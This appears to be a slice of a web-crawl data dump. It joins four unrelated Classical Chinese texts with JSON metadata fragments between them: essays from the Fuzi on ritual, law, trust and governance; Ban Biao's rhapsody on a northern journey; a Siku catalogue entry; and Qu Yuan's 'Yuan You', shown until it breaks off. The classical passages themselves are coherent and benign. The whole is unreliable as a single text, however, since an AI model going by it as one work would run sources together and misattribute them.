自公侯至於皂隸僕妾。尊卑殊禮。貴賤异等。萬機運於上。百事動於下。而六合晏如者。分數定也。夫神農正其綱。先之以無欲。而咸安其道。周綜其目。壹之以中典(典作正)。而民不越法。及秦亂四民而廢常賤(賤疑職)。競逐末利而弃本業。苟合壹切之風起矣。於是士樹奸於朝。賈窮僞於市。臣挾邪以内(内作罔)其君。子懷利以詐其父。一人唱欲而億兆和。上逞無厭之欲。下充無極之求。都有專市之賈。邑有傾世之商。商賈富乎公室。農夫伏於隴畝。而墮溝壑。上愈增無常之好以徵下。下窮死而不知所歸。哀夫。\n且末流濫溢而本源竭。纖靡盈市而穀帛罄。其勢然也。古言非典義。學士不以經心。事非田桑。農夫不以亂業。器非時用。工人不以措手。物非世資。商賈不以適市。士思其訓。農思其務。工思其用。賈思其常。是以上用足而下不匱。故壹野不如壹市。壹市不如壹朝。壹朝不如一用。一用不如上息欲。上息欲而下反真矣。不息欲於上。而欲於下之安静。此猶縱火焚林而索原野之不彫瘁(瘁舊作廢。改之)。難矣。故明君止欲而寬下。急商而緩農。貴本而賤末。朝無蔽賢之臣。市無專利之賈。國無擅山澤之民。一臣蔽賢。則上下之道壅。商賈專利。則四方之資困。民擅山澤。則兼并之路開。兼并之路開。而上以無常役下。賦一物非民所生而請於商賈。則民財暴賤。民財暴賤而非常暴貴。非常暴貴則本竭而末盈。末盈本竭而國富民安。未之有矣。\n昔者。聖人之崇仁也。將以興天下之利也。利或不興。須仁以濟。天下有不得其所。若己推而委之於溝壑。然夫仁者蓋推己以及人也。故己所不欲。無施於人。推己所欲以及天下。推己心孝於父母以及天下。則天下之爲人子者。不失其事親之道矣。推己心有樂於妻子以及天下。則天下之爲人父者不失其室家之歡矣。推己之不忍於飢寒以及天下之心。含生無凍餧之憂矣。此三者。非難見之理。非難行之事。唯不内推其心以恕乎人。未之思耳。夫何遠之有哉。古之仁人。推所好以訓天下。而民莫不尚德。推所惡以誡天下。而民莫不知耻。孔子曰。仁遠乎哉。我欲仁。斯仁至矣。此之謂也。若子方惠及於老馬。西巴不忍而放麑。皆仁之端也。推而廣之。可以及乎遠矣。\n蓋天地著信而四時不悖。日月著信而昏明有常。王者體信而萬國以安。諸侯秉信而境内以和。君子履信而厥身以立。古之聖君賢佐。將化世美俗。去信須臾。而能安上治民者。未之有也。夫象天則地。履信思順。以壹天下。此王者之信也。據法持正。行以不貳。此諸侯之信也。言出乎口。結乎心。守以不移。以立其身。此君子之信也。講信修義。而人道定矣。若君不信以御臣。臣不信以奉君。父不信以教子。子不信以事父。夫不信以遇婦。婦不信以承夫。則君臣相疑於朝。父子相疑於家。夫婦相疑於室矣。小大混然而懷奸心。上下紛然而競相欺。人倫於是亡矣。\n夫信由上而結者也。故君以信訓其臣。則臣以信忠其君。父以信誨其子。則子以信孝其父。夫以信先其婦。則婦以信順其夫。上秉常以化下。下服常而應上。其不化者。百未有一也。夫爲人上。竭至誠。開信以待下。則懷信者歡然而樂進。不信者赧然而回意矣。老子不云乎。信不足焉。有不信也。故以信待人。不信思信。不信待人。信斯不信。况本無信者乎。先王欲下之信也。故示之以款誠而民莫欺其上。申之以禮教而民篤於義矣。夫以上接下而以不信隨之。是亦日夜見灾也。周幽以詭烽滅國。齊襄以瓜時致殺。非其顯乎。故禍莫大於無信。無信則不知所親。不知所親。則左右書己之所疑。况天下乎。信者亦疑。不信亦疑。則忠誠者喪心而結舌。懷奸者飾邪以自納。此無信之禍也。\n傅子曰。能以禮教興天下者。其知大本之所立乎。夫大本者。與天地并存。與人道俱設。雖蔽天地。不可以質文損益變也。大本有三。一曰君臣以立邦國。二曰父子以定家室。三曰夫婦以别内外。三本者立。則天下正。三本不立。則天下不可得而正。天下不可得而正。則有國有家者亟亡。而立人之道廢矣。禮之大本。存乎三者。可不謂之近乎。用之而蔽天地。可不謂之遠乎。由近以知遠。推己以况人。此禮之情也。\n商君始殘禮樂。至乎始皇。遂滅其制。賊九族。破五教。獨任其威刑酷暴之政。内去禮義之教。外無列國之輔。日縱桀紂之淫樂。君臣競留意於刑書。雖荷戟百萬。石城造天。威凌滄海。胡越不動。身死未收。奸謀内發。而太子已死於外矣。胡亥不覺。二年而滅。曾無盡忠效節之臣以救其難。豈非敬義不立。和愛先亡之禍也哉。禮義者。先王之藩衞也。秦廢禮義。是去其藩衞也。夫齎不訾之寶。獨宿於野。其爲危敗。甚於累卵。方之於秦。猶有泰山之安。易曰。上慢下暴。盗思伐之。其秦之謂與。\n立善防惡謂之禮。禁非立是謂之法。法者所以正不法也。明書禁令曰法。誅殺威罰曰刑。治世之民。從善者多。上立德而下服其化。故先禮而後刑也。亂世之民。從善者少。上不能以德化之。故先刑而後禮也。周書曰。小乃不可不殺。乃有大罪。非終。乃惟眚灾。然則心惡者。雖小必誅。意善過誤。雖大必赦。此先王所以立刑法之本也。禮法殊塗而同歸。賞刑遞用而相濟矣。是故聖帝明王。惟刑之恤。惟敬五刑以成三德。若乃暴君昏主。刑殘法酷。作五虐之刑。設炮烙之辟。而天下之民無所措其手足矣。故聖人傷之。乃建三典。殊其輕重。以定厥中。司寇行刑。君爲之不舉樂。哀矜之心至也。八辟議其故而宥之。仁愛之情篤也。\n柔愿之主。聞先王之有哀矜仁愛、議獄緩死也。則妄輕其刑、而赦元惡。刑妄輕則威政墮而法易犯。元惡赦則奸人興而善人困。剛猛之主。聞先王之以五刑糾萬民。舜誅四凶而天下服也。於是峻法酷刑以侮(侮上疑脱威字)天下。罪連三族。戮及善民。無辜而死者過半矣。下民怨而思叛。諸侯乘其弊而起。萬乘之主。死於人手者。失其道也。齊秦之君。所以威制天下。而或不能自保其身。何也。法峻而教不設也。末儒見峻法之生叛。則去法而純仁。偏法見弱法之失政。則去仁而法(法字疑任字誤)刑。此法所以世輕世重而恒失其中也。\n爵禄者。國柄之本。而貴富之所由。不可以不重也。然則爵非德不授。禄非功不與。二教既立。則良士不敢以賤德受貴爵。勞臣不敢以微功受重禄。况無德無功而敢虚干爵禄之制乎。然則先王之用爵禄。不可謂輕矣。夫爵者位之級。而禄者官之實也。級有等而稱其位。實足利而周其官。此立爵禄之分也。爵禄之分定。必明選其人而重用之。德貴功多者受重爵大位。厚禄尊官。德淺功寡者。受輕爵小位。薄禄卑官。厚足以衒(衒作衞)宗黨。薄足以代其耕。居官奉職者坐而食於人。既食於人(既食於人四字無)。不敢以私利經心。既受禄於官。而或營私利。則公法繩之於上。而顯議廢之於下。是以仁讓之教存。廉耻之化行。貪鄙之路塞。嗜欲之情滅。百官各敬其職。大臣論道於朝。公議日興。而私利日廢矣。明君必順善制而後致治。非善制之能獨治也。必須良佐有以行之也。\n故(故作欲)治其民而不省其事。則事繁而職亂。知省其職而不知節其吏(吏作利)。厚其禄也。則天(無天字)下力既竭而上猶未供。薄其禄也。則吏競背公義。營私利。此教之所以必廢而不行也。凡欲爲治者。無不欲其吏之清也。不知所以致清而求其清。此猶滑其源而望其流之潔也。知所以致清。則雖舉盗跖。不敢爲非。不知所以致清。則雖舉夷、叔。必犯其制矣。夫授夷、叔以事而薄其禄。近不足以濟其身。遠不足以及室家。父母餓於前。妻子餧於後。不營則骨肉之道虧。營之則奉公之制犯。骨肉之道虧。則怨毒之心生。怨毒之心生。則仁義之理衰矣。使夷、叔有父母存無以致養。必不采薇於首陽。顧公制而守死矣。由此言之。吏禄不重。則夷、叔必犯矣。夫弃家門委身於公朝。榮不足以庇宗人。禄不足以濟家室。骨肉怨於内。交黨離於外。仁孝之道虧。名譽之利損。能守志而不移者。鮮矣。主(主上有人字)不詳察。聞其怨興於内。而交離於外。薄其名。必時黜其身矣。家困而身黜。不移之士。不顧私門之怨。不憚遠近之謫。死而後已。不改其行。上不見信於君。下不見明於俗。遂委死溝壑而莫之能知也。豈不悲夫。天下知爲清之若此。則改行而從俗矣。清者化而爲濁。善者變而陷於非。若此而能以致治者。未之聞也。\n昔先王之興役賦。所以安上濟下。盡利用之宜。是故隨時質文。不過其節。計民豐約而平均之。使力足以供事。財足以周用。乃立壹定之制以爲常典。甸都有常分。諸侯有常職焉。萬國致其貢。器用殊其物。上不興非常之賦。下不進非常之貢。上下同心。以奉常教。民雖輸力致財。而莫怨其上者。所務公而制有常也。戰國之際。弃德任威。競相吞代。而天下之民困矣。秦并海内。遂滅先王之制。行其暴政。内造阿房之宫。繼以驪山之役。外築長城之限。重以百越之戍。賦過太半。傾天下之財。不足以盈其欲。役及閭左。竭天下之力。不足以周其事。於是蓄怨積憤。同聲而起。陳涉、項梁之疇。奮劍大呼。而天下之民響應以從之。驪山之基(基疑墓)未閉。而敵國已收其圖籍矣。昔者。東野畢御盡其馬之力。而顔回知其必敗。况御天下而可盡人之力也哉。夫用人之力。歲不過三日者。謂治平無事之世。故周之典制載焉。\n若黄帝之時。外有赤帝、蚩尤之難。内設舟車門衞甲兵之備。六興大役。再行天誅。居無安處。即天下之民。亦不得不勞也。勞而不怨。用之至平也。禹鑿龍門。闢伊闕。築九山。滌百川。過門不入。薄飲食。卑宫室。以率先天下。天下樂盡其力而不敢辭勞者。儉而有節。所趣公也。故世有事即役煩而賦重。世無事即役簡而賦輕。役簡賦輕。則奉上之禮宜崇。國家之制宜備。此周公所以定六典也。役煩賦重。即上宜損制以恤其下。事宜從省以致其用。此黄帝、夏禹之所以成其功也。後之爲政。思黄帝之至平。夏禹之積儉。周制之有常。隨時益損。而息耗之。庶幾雖勞而不怨矣。\n虎至猛也。可畏(畏作威)而服。鹿至粗也。可教而使。木至勁也。可柔而屈。石至堅也。可消而用。况人含五常之性。有善可因。有惡可改者乎。人之所重。莫重乎身。貴教之道行。士有伏節成義。死而不顧者矣。此先王因善教義。因義而立禮者也。因善教義。故義成而教行。因義立禮。故禮設而義通。若夫商。韓。孫。吴。知人性之貪得樂進。而不知兼濟其善。於是束之以法。要之以功。使下(下上有天字)唯力是恃。唯争是務。恃力務争。至有探湯赴火而忘其身者。好利之心獨用也。人懷好利之心。則善端没矣。中國所以常制四夷者。禮義之教行也。失其所以教。則同乎夷狄矣。其所以同。則同乎禽獸矣。不唯同乎禽獸。亂將甚焉。何者。禽獸保其性然者也。人以智役力者也。智役力而無教節。是智巧日用。而相殘無極也。相殘無極。亂孰大焉。不濟其善。而唯力是恃。其不大亂幾稀耳。人之性。避害從利。故利出於禮讓。即修禮讓。利出於力争。則任力争。修禮讓則上安下順而無侵奪。任力争則父子幾乎相危。而况於悠悠者乎。\n上好德則下修行。上好言則下飾辯。修行則仁義興焉。飾辯則大僞起焉。此必然之徵也。德者。難成而難見者也。言者。易撰而易悦者也。先王知言之易而悦之者衆。故不尚焉。不尊賢尚德。舉善以教。而以一言之悦取人。則天下之弃德飾辯以要其上者不尠矣。何者。德難爲而言易飾也。夫貪榮重利。常人之性也。上之所好。榮利存焉。故上好之。下必趣之。趣之不已。雖死不避也。先王知人有好善尚德之性。而又貪榮而重利。故貴其所尚。而抑其所貪。貴其所尚。故禮讓興。抑其所貪。故廉耻存。夫榮利者。可抑而不可絶也。故明爲顯名高位豐禄厚賞。使天下希而慕之。不修行崇德。則不得此名。不居此位。不食此禄。不獲此賞。此先王立教之大體也。夫德修之難。不積其實。不成其名。夫言撰之易。合所悦而大用。修之不久。所悦無常。故君子不貴也。\n立德之本。莫尚乎正心。心正而後身正。身正而後左右正。左右正而後朝廷正。朝廷正而後國家正。國家正而後天下正。故天下不正。修之國家。國家不正。修之朝廷。朝廷不正。修之左右。左右不正修之身。身不正修之心。所修彌近。而所濟彌遠。禹湯罪己。其興也勃焉。正心之謂也。心者。神明之主。萬理之統。動而不失正。天地可感。而况於人乎。况於萬物乎。夫有正心必有正德。以正德臨民。猶樹表望影。不令而行。大雅云。儀形文王。萬邦作孚。此之謂也。有邪心必有枉行。以枉行臨民。猶樹曲表而望其影之直。若乃身坐廊廟之内。意馳雲夢之野。臨朝宰事。情繫曲房之娯。心與體離。情與志乖。形神且不相保。孰左右之能正乎哉。忠正仁理存乎心。則萬品不失其倫矣。禮度儀法存乎體。則遠邇内外。咸知所象矣。古之大君子。修身治人先正其心。自得而已矣。能自得。則無不得矣。苟自失。則無不失矣。無不得者。治天下有餘。故否則保身居正。終年不失其和。達則兼善天下。物無不得其所。\n無不失者。營妻子不足。故否則是己非人而禍逮乎其身。達則縱情用物而殃及乎天下。昔者。有虞氏彈五弦之琴。而天下樂其和者。自得也。秦始皇築長城之塞以爲固。禍機發於左右者。自失也。夫推心以及人。而四海蒙其佑。則文王其人也。不推心以慮用天下。則左右不可保。亡秦是也。秦之虣君。目玩傾城之色。天下男女怨曠而不肯恤也。耳淫亡國之聲。天下小大哀怨而不知撫也。意盈四海之外。口窮天下之味。宫室造天而起。萬國爲之癄瘁。猶未足以逞其欲。唯不推心以况人。故視用人如用草芥。使用人如用己。惡有不得其性者乎。古之達治者。知心爲萬事主。動而無節則亂。故先正其心。其心正於内。而後動静不妄。以率先天下。而後天下履正。而咸保其性也。斯遠乎哉。求之心而已矣。\n夫能通天下之志者。莫大乎至公。能行至公者。莫要乎無忌心。唯至公。故近者安焉。遠者歸焉。枉直取正而天下信之。唯無忌心。故進者自盡。而退不懷疑。其道泰然。浸潤之譖不敢干也。虞書曰。闢四門。則天下之人輻凑其庭矣。明四目。則天下之人樂爲之視矣。達四聰。則天下之人樂爲之聽矣。江海所以能爲百谷王者。以其不逆之也。苟有所逆。衆流之不至者多矣。衆流不至者多。則無以成其深矣。夫有公心必有公道。有公道必有公制。丹朱、商均。子也。不肖。堯舜黜之。管叔、蔡叔。弟也。爲惡。周公誅之。苟不善。雖子弟不赦。則於天下無所私矣。鯀亂政。舜殛之。禹聖明。舉用之。戮其父而授其子。則於天下無所忌矣。\n石厚。子也。石碏誅之。冀缺。讎也。晋侯舉之。是之謂公道。未(未作夫)在人上。天下皆樂爲之用。無遠無近。苟所懷得達。死命可致也。唯患衆流异源。清濁不同。愛惡相攻。而親疏黨别。上之人或有所好。所好之流獨進。而所不好之流退矣。通者一而塞者萬。則公道廢而利道行矣。於是天下之志。塞而不通。欲自納者。因左右而達。則權移左右。而上勢分矣。昧於利者。知趣左右之必通。必變業以求進矣。昧利者變業而黨成。正士守志而日否。則雖見者盈庭。而上之所開實寡。外倦於人。而内寡間。此自閉之道也。故先王之教。進賢者爲上賞。蔽賢者爲上戮。順禮者進。逆法(舊無法字。補之)者誅。設誹謗之木。容狂狷之人。任公而去私。内恕而無忌。是之謂公制也。公道行則天下之志通。公制立則私曲之情塞矣。\n凡有血氣。苟不相順。皆有争心。隱而難分。微而害深者。莫甚於言矣。君人者。將和衆定民而殊其善惡。以通天下之志者也。聞言不可不審也。聞言未審而以定善惡。則是非有錯。而飾辯巧言之流起矣。故聽言不如觀事。觀事不如觀行。聽言必審其本。觀事必校其實。觀行必考其迹。參三者而詳之。近少失矣。問曰。漢之官制。皆用秦法。秦不二世而滅。漢二十餘世而後亡者。何也。答曰。其制則同。用之則异。秦任私而有忌心。法峻而惡聞其失。任私者怨。有忌心則天下疑。法峻則民不順之。惡聞其失。則過不上聞。此秦之所以不二世而滅也。\n漢初入秦。約法三章。論功定賞。先封所憎。約法三章。公而簡也。先封所憎。無忌也。雖網漏吞舟。而百姓安之者。能通天下之志。得其略也。世尚(尚下有寬字)簡。尊儒貴學。政雖有失。能容直臣。簡則不苟。寬則衆歸之。尊儒貴學。則民篤於義。能容直臣。則上之失不害於下。而民之所患上聞矣。自非聖人焉無失。失而能改。則所失少矣。心以爲是。故言行由之。其或不是。不自知也。先王患人之不自知其失。而處尊者。天下之命在焉。順之則生。逆之則死。順而無節。則諂諛進。逆而畏死。則直道屈。明主患諛己者衆而無由聞失也。故開敢諫之路。納逆己之言。苟所言出於忠誠。雖事不盡是。猶歡然(然下有受字)之。所通直言之塗。引而致之。非爲名也。以爲直言不聞。則己之耳目塞。耳目塞於内。諛者順之於外。此三季所以至亡而不自知也。周昌比高祖於桀紂。而高祖托以愛子。周亞夫申軍令。而太宗爲之不驅。朱雲折檻。辛慶忌叩頭流血。斯乃寬簡之風。漢所以歷年四百也。\n天下之福。莫大於無欲。天下之禍。莫大於不知足。無欲則無求。無求者。所以成其儉也。不知足。則物莫能盈其欲矣。莫能盈其欲。則雖有天下。所求無已。所欲無極矣。海内之物不益。萬民之力有盡。縱無已之求。以滅不益之物。逞無極之欲。而役有盡之力。此殷士所以倒戈於牧野。秦民所以不期而周(周疑同)叛。曲論之好。奢而不足者。豈非天下之大禍耶。\n民富則安。貧則危。明主之治也。分其業而壹其事。業分則不相亂。事壹則各盡其力。而不相亂。則民必安矣。重親民之吏而不數遷。重則樂其職。不數遷則志不流於他官。樂其職而志不流於他官。則盡心恤其下。盡心以恤其下。則民必安矣。附法以寬民者賞。剋法以要名者誅。寬民者賞。則法不虧於下。剋民者誅。而名不亂於上。則民必安矣。量時而置官。則吏省而民供。吏省則精。精則當才而不遺力。民則供順。供順則思義而不背上。上愛其下。下樂其上。則民必安矣。篤鄉閭之教。則民存知相恤。而亡知相救。存相恤而亡相救。則鄰居相恃。懷土而無遷志。鄰居相恃。懷土無遷志。則民必安矣。度時宜而立制。量民力以役賦。役賦有常。上無横求。則事事有儲。而并兼之隙塞。事有儲。并兼之隙塞。則民必安矣。圖遠必驗之近。興事必度之民。知稼穡之艱難。重用其民。如保赤子。則民必安矣。\n職業無分。事務不壹。職荒事廢。相督不已。若是者民危。親民之吏不重。有資者無勞而數遷。競營私以害公。飾虚以求進。仕宦如寄。視用其民如用路人。若是者民危。以法寬民者不賞。剋民爲能者必進。下力盡矣。而用之不已。若是者民危。吏多而民不能供。上下不相樂。若是者民危。鄉閭無教。存不相恤。而亡不相救。若是者民危。不度時而立制。不量民而(民而下恐有闕文)役賦無常。横求相仍。弱(弱下上恐有脱字)窮迫不堪其命。若是者民危。視遠而忘近。興事不度於民。不知稼穡艱難而轉用之。如是者民危。安民而上危。民危而上安者。未之有也。虞書曰。安民則惠。黎民懷之。其爲治之要乎。今之刺史。古之牧伯也。今之郡縣。古之諸侯也。州總其統。郡舉其綱。縣理其目。各職守不得相干。治之經也。夫彈枉正邪。糾其不法。擊一以警百者。刺史之職也。比物校成。考定能否。均其勞逸。同其得失。有大不可而後舉之者。太守之職也。親民授業。平理百事。猛以威吏。寬以容民者。令長之職也。然則令長者最親民之吏。百姓之命也。國以民爲本。親民之吏。不可以不留意也。\n傅子曰。利天下者。天下亦利。害天下者。天下亦害之。利則利。害則害。無有幽深隱微。無不報也。仁人在位。常爲天下所歸者。無他也。善爲天下興利而已矣。\n劉子問政。傅子曰。政在去私。私不去則公道亡。公道亡。則禮教無所立。禮教無所立。則刑賞不用情。賞刑不用情。而下從之者。未之有也。夫去私者所以立公道也。唯公然後可正天下。傅子曰。善爲政者。天地不能害也。而况於人乎。堯水湯旱。而人無菜色。猶太平也。不亦美乎。晋饑矣懈而爲秦越(越恐當作所)禽。人且害之。而况於天地乎。\n傅子曰。秦始皇之無道。豈不甚哉。視殺人如殺狗彘。狗彘仁人用之猶有節。始皇之殺人。觸情而已。其不以道如是。而李斯又深刑峻法。隨其指而妄殺人。秦不二世而滅。李斯無遺類。以不道遇人。人得以不道報之。人讎之。天絶之。行無道。未有不亡者也。或曰。漢太宗除肉刑。可謂仁乎。傅子曰。匹夫之仁。非王天下之仁也。夫王天下者。大有濟者也。非小不忍之謂也。先王之制。殺人者死。故生者懼。傷人者殘其體。故終身懲。所刑者寡而所濟者衆。故天下稱仁焉。今不忍殘人之體而忍殺之。既不類。傷人刑輕。是失其所以懲也。失其所以懲。則易傷人。人易相傷。亂之漸也。猶有不忍人心。故曰匹夫之仁也。\n傅子曰。古之賢君。樂聞其過。故直言得至。以補其闕。古之忠臣。不敢隱君之過。故有過者知所以改。其戒不改。以死繼之。不亦至直乎。\n傅子曰。至哉。季文子之事君也。使惡人不得行其境内。况在其君之側乎。推公心而行直道。有臣若此。其君稀陷乎不義矣。\n傅子曰。正道之不行。常(常下有由字)佞人亂之也。故桀信其佞臣推役侈(推役侈作推侈)。以殺其正臣關龍逢。而夏以亡。紂信其佞臣惡來。以割(割作剖)其正臣王子比干之心。而殷以亡。曰。惑(惑疑衍)佞之不可用如此。何惑者之不息也。傅子曰。佞人善養人私欲也。故多私欲者悦之。唯聖人無私欲。賢者能去私欲也。有見人之私欲。必以正道矯之者。正人之徒也。違正而從之者。佞人之徒也。自察其心。斯知佞正之分矣。\n或問佞孰爲大。傅子曰。行足以服俗。辨足以惑衆。言必稱乎仁義。隱其惡心。而不可卒見。伺主之欲微合之。得其志。敢以非道陷善人。稱之有術。飾之有利。非聖人不能别。此大佞也。其次。心不欲爲仁義。言亦必稱之。行無大可非。動不違乎俗。合主所欲而不敢正也。有害之者。然後陷之。最下佞者。行不顧乎天下。唯求主心。使文巧辭自利而已。顯然害善。行之不怍。若四凶。可謂大佞者也。若安昌侯張禹。可謂次佞也。若趙高、石顯。可謂最下佞者也。大佞形隱爲害深。下佞形露爲害淺。形露猶不别之。可謂至暗也已。\n治人之謂治。正己之謂正。人不能自治。故設法以一之。身不正。雖有明法。即民或不從。故必正己以先之也。然即明法者。所以齊衆也。正己者。所以率人也。夫法設而民從之者。得所故也。法獨設而無主即不行。有主而不一則勢分。一則順。分則争。此自然之理也。\n天地至神。不能同道而生萬物。聖人至明。不能一檢而治百姓。故以异致同者。天地之道也。因物制宜者。聖人之治也。既得其道。雖有詭常之變。相害之物。不傷乎治體矣。水火之性。相滅也。善用之者。陳釜鼎乎其間。爨之煮之。而能兩盡其用。不相害也。五味以調。百品以成。天下之物爲火水者多矣。若施釜鼎乎其間。則何憂乎相害。何患乎不盡其用也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022084.html","date":"2017-04-24T03:31:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00456-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4490513206,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4490513205528259, \"cmn_Hani_score\": 0.21569980680942535, \"nan_Hani_score\": 0.06705392897129059, \"zxx_Latn_score\": 0.03706802427768707, \"jpn_Jpan_score\": 0.032016854733228683, \"wuu_Hani_score\": 0.0230292659252882, \"und_Tang_score\": 0.015103149227797985}","num_words":43,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.449,"perplexity_score":500.0,"cluster_detection":1} +{"text":"班彪赋选\n朝发轫于长都兮,夕宿瓠谷之玄宫。历云门而反顾,望通天之崇崇。乘陵岗以登降,息郇邠之邑乡。慕公刘之遗德,及行苇之不伤。彼何生之优渥,我独罹此百殃?故时会之变化兮,非天命之靡常。\n登赤须之长阪,入义渠之旧城。忿戎王之淫狡,秽宣后之失贞。嘉秦昭之讨贼,赫斯怒以北征。纷吾去此旧都兮,騑迟迟以历兹。\n遂舒节以远逝兮,指安定以为期。涉长路之绵绵兮,远纡回以樛流。过泥阳而太息兮,悲祖庙之不修。释余马于彭阳兮,且弭节而自思。日晻晻其将暮兮,睹牛羊之下来。寤旷怨之伤情兮,哀诗人之叹时。\n越安定以容与兮,遵长城之漫漫。剧蒙公之疲民兮,为强秦乎筑怨。舍高亥之切忧兮,事蛮狄之辽患。不耀德以绥远,顾厚固而缮藩。首身分而不寤兮,犹数功而辞鱤。何夫子之妄说兮,孰云地脉而生残。\n登鄣隧而遥望兮,聊须臾以婆娑。闵獯鬻之猾夏兮,吊尉漖于朝那。从圣文之克让兮,不劳师而币加。惠父兄于南越兮,黜帝号于尉他。降几杖于藩国兮,折吴濞之逆邪。惟太宗之荡荡兮,岂曩秦之所图。\n隮高平而周览,望山谷之嵯峨。野萧条以莽荡,迥千里而无家。风猋发以漂遥兮,谷水灌以扬波。飞云雾之杳杳,涉积雪之皑皑。雁邕邕以群翔兮,□鸡鸣以哜哜。\n游子悲其故乡,心怆悢以伤怀。抚长剑而慨息,泣涟落而沾衣。揽余涕以于邑兮,哀生民之多故。夫何阴曀之不阳兮,嗟久失其平度。谅时运之所为兮,永伊郁其谁愬?\n乱曰:夫子固穷游艺文兮,乐以忘忧惟圣贤兮?达人从事有仪则兮,行止屈申与时息兮?君子履信无不居兮,虽之蛮貊何忧惧兮?","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/a3guo.com\/scqf\/banbiao.htm","date":"2017-04-26T17:43:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121528.59\/warc\/CC-MAIN-20170423031201-00362-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4190473855,"language_script":"Hani","minhash_cluster_size":24,"top_langs":"{\"lzh_Hani_score\": 0.41904738545417786, \"cmn_Hani_score\": 0.2676435708999634, \"nan_Hani_score\": 0.06470830738544464, \"zxx_Latn_score\": 0.0436665415763855, \"jpn_Jpan_score\": 0.022645926102995872, \"wuu_Hani_score\": 0.021437834948301315, \"yue_Hani_score\": 0.01893552765250206, \"und_Kits_score\": 0.01258990727365017}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":500.0,"cluster_detection":1} +{"text":"集部二十七 別集類存目一\n林泉結契 五卷\n編修汪如藻家藏本\n宋王質撰。質有詩總聞。已著錄。是編乃商邱宋犖。摘紹陶錄中山友辭。山友續辭。水友辭。水友續辭。山水友續辭。各爲一卷。謂其有玩物適情之趣。改題此名。其文則無所增損也。","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0375001.html","date":"2017-09-25T00:46:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690268.19\/warc\/CC-MAIN-20170925002843-20170925022843-00604.warc.gz","language":"lzh","language_score":0.5562232137,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5562232136726379, \"cmn_Hani_score\": 0.3433307111263275, \"jpn_Jpan_score\": 0.04949537292122841, \"yue_Hani_score\": 0.023899929597973824, \"wuu_Hani_score\": 0.012275096960365772}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭遠游 屈原\n悲時俗之迫阨兮,願輕舉而遠遊。質菲薄而無因兮,焉託乘而上浮。遭沈濁而汙穢兮,獨鬱結其誰語!夜耿耿而不寐兮,魂焭焭而至曙。惟天地之無窮兮,哀人生之長勤。往者余弗及兮,來者吾不聞。步徙倚而遙思兮,怊惝怳而乖懷。意荒忽而流蕩兮,心愁悽而增悲。神儵忽而不反兮,形枯槁而獨留。內惟省以端操兮,求正氣之所由。漠虛靜以恬愉兮,澹無為而自得。聞赤松之清塵兮,願承風乎遺則。貴真人之休德兮,美往世之登仙。與化去而不見兮,名聲著而日延。奇傅說之託辰星兮,羨韓眾之得一,形穆穆以浸遠兮,離人群而遁逸。因氣變而遂曾舉兮,忽神奔而鬼怪。時髣髴以遙見兮,精皎皎以往來。絕氛埃而淑尤兮,終不反其故都。免眾患而不懼兮,世莫知其所如。恐天時之代序兮,耀靈曄而西征。微霜降而下淪兮,悼芳草之先零。聊仿佯而逍遙兮,永歷年而無成。誰可與玩斯遺芳兮,晨向風而舒情。高陽邈以遠兮,余將焉所程。重曰:春秋忽其不淹兮,奚久留此故居?軒轅不可攀援兮,吾將從王喬而娛戲!餐六氣而飲沆瀣兮,漱正陽而含朝霞。保神明之清澄兮,精氣入而麤穢除。順凱風以從遊兮,至南巢而壹息。見王子而宿之兮,審壹氣之和德。曰:「道可受兮,不可傳;其小無內兮,其大無垠;無滑而䰟兮,彼將自然;壹氣孔神兮,於中夜存;虛以待之兮,無為之先;庶類以成兮,此德之門。」聞至貴而遂徂兮,忽乎吾將行。仍羽人於丹丘兮,留不死之舊鄉。朝濯髮於湯谷兮,夕晞余身兮九陽。吸飛泉之微液兮,懷琬琰之華英。玉色頩以脕顏兮,精醇粹而始壯。質銷鑠以汋約兮,神要眇以淫放。嘉南州之炎德兮,麗桂樹之冬榮。山蕭條而無獸兮,野寂漠其無人。載營魄而登霞兮,掩浮雲而上征。命天閽其開關兮,排閶闔而望予。召豐隆使先導兮,問大微之所居。集重陽入帝宮兮,造旬始而觀清都。朝發軔於太儀兮,夕始臨乎於微閭。屯余車之萬乘兮,紛溶與而並馳。駕八龍之婉婉兮,載雲旗之逶蛇。建雄虹之采旄兮,五色雜而炫燿。服偃蹇以低昂兮,驂連蜷以驕驁。騎膠葛以雜亂兮,斑漫衍而方行。撰余轡而正策兮,吾將過乎句芒。歷太皓以右轉兮,前飛廉以啟路。陽杲杲其未光兮,淩天地以徑度。風伯為余先驅兮,氛埃辟而清涼。鳳皇翼其承旂兮,遇蓐收乎西皇。攬彗星以為旍兮,舉斗柄以為麾。叛陸離其上下兮,遊驚霧之流波。旹曖曃其曭莽兮,召玄武而奔屬。後文昌使掌行兮,選署眾神以並轂。路曼曼其修遠兮,徐弭節而高厲。左雨師使徑侍兮,右雷公以為衛。欲度世以忘歸兮,意恣睢以担撟。內欣欣而自美兮,聊媮娛以自樂。涉青雲以汎濫游兮,忽臨睨夫舊鄉。僕夫懷余心悲兮,邊馬顧而不行。思舊故以想像兮,長太息而掩涕。氾容與而遐舉兮,聊抑志而自弭。指炎神而直馳兮,吾將往乎南疑。覽方外之荒忽兮,沛